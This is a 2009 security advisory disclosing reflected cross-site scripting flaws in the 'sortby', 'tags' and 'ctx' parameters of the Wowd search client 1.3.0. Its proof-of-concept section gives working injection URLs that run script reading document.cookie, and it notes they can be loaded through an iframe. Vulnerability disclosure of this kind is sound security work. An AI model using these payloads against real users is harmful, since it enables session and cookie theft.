Wowd Search Client XSS

`##########################################  
Wowd search client multiple variable xss  
Vendor URL: http://www.wowd.com/  
Advisore:http://lostmon.blogspot.com/2009/10/  
wowd-search-client-multiple-variable.html  
Vendor notify:yes exploit available:yes  
##########################################  
  
################  
What is Wowd?  
################  
  
Wowd is a real-time search engine for discovering  
what's popular on the web right now.  
  
In essence, the company has made a peer-to-peer  
search engine powered by what other Wowd users  
are looking at online rather than studying and  
ranking sites based on an arcane link structure.  
Taking search and breaking it into millions of  
tiny pieces all run by individual users who have  
downloaded the Wowd client completely changes  
the operation -- and economics -- of a search  
engine. The more times that someone in the Wowd  
crowd clicks on a link within a recent time  
frame, the higher the link's ranking.  
  
  
##########################  
Vulnerability description  
##########################  
  
Wowd client contains a flaw that allows a remote  
cross site scripting attack.This flaw exists because  
the application does not validate In the URI dialog  
'sortby' 'tags' and 'ctx' variables upon submision to  
'index.html' script. This could allow a user to create  
a specially crafted URL that would execute arbitrary  
code in a user's browser within the trust relationship  
between the browser and the server,leading loss of integrity.  
  
This issue can be dangerous , because if you are running  
Wowd client , you have all of this vulnerabilities because  
this issue can be exploited accross all browsers,  
include ie8 with the XSS filter ( WoW ! )  
  
#################  
Versions  
################·  
  
Wowd client 1.3.0  
  
  
#################  
SOLUTION  
#################  
  
No solutions was available at this time !!!  
  
  
###################  
Proof of Concept.  
###################  
  
#############  
Test  
#############  
  
I test it in ie8, firefox 3.5.3 and safari 4  
  
in all cases the xss is executed include ie8 with xss filter :D  
  
a remote user can compose a html document  
with a iframe and this source for the iframe:  
  
http://localhost:8101/wowd/index.html?search&sortby=rank%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
the browser executes the xss ,if you access directly to  
this url the xss is executed too.  
  
aditionaly wen wowd show his results , we have a functionality  
to add "tags" to a url.  
  
Example:  
  
http://localhost:8101/wowd/index.html?search&query=a&  
sortby=rank&tags=english|S0B0707656E676C6973680D02  
  
this shows a indexed search with tag 'english' we can add a  
crafted tag that allow to execute a xss like:[tag]|[token]  
  
example:  
  
http://localhost:8101/wowd/index.html?search&query=a  
&sortby=rank&tags=english|S0B0707656E676C6973680D02,  
%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02  
  
and it executed the xss in the tags labels.  
  
ctx variable is also afected too  
  
http://localhost:8101/wowd/index.html?search&page=2&q=  
&sortby=rank&tags=news|S0807046E6577730D02&ctx=1995393737681%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
  
############## €nd ###################  
  
Thnx To estrella to be my light  
Thnx to all Lostmon Team !  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
Google group: http://groups.google.com/group/lostmon (new)  
--  
La curiosidad es lo que hace mover la mente....  
----------------------------------------------  
Browser: Internet Explorer 8 (Windows)  
Browser: Firefox 3.5 (Windows)  
Browser: Safari 4 (Windows)  
`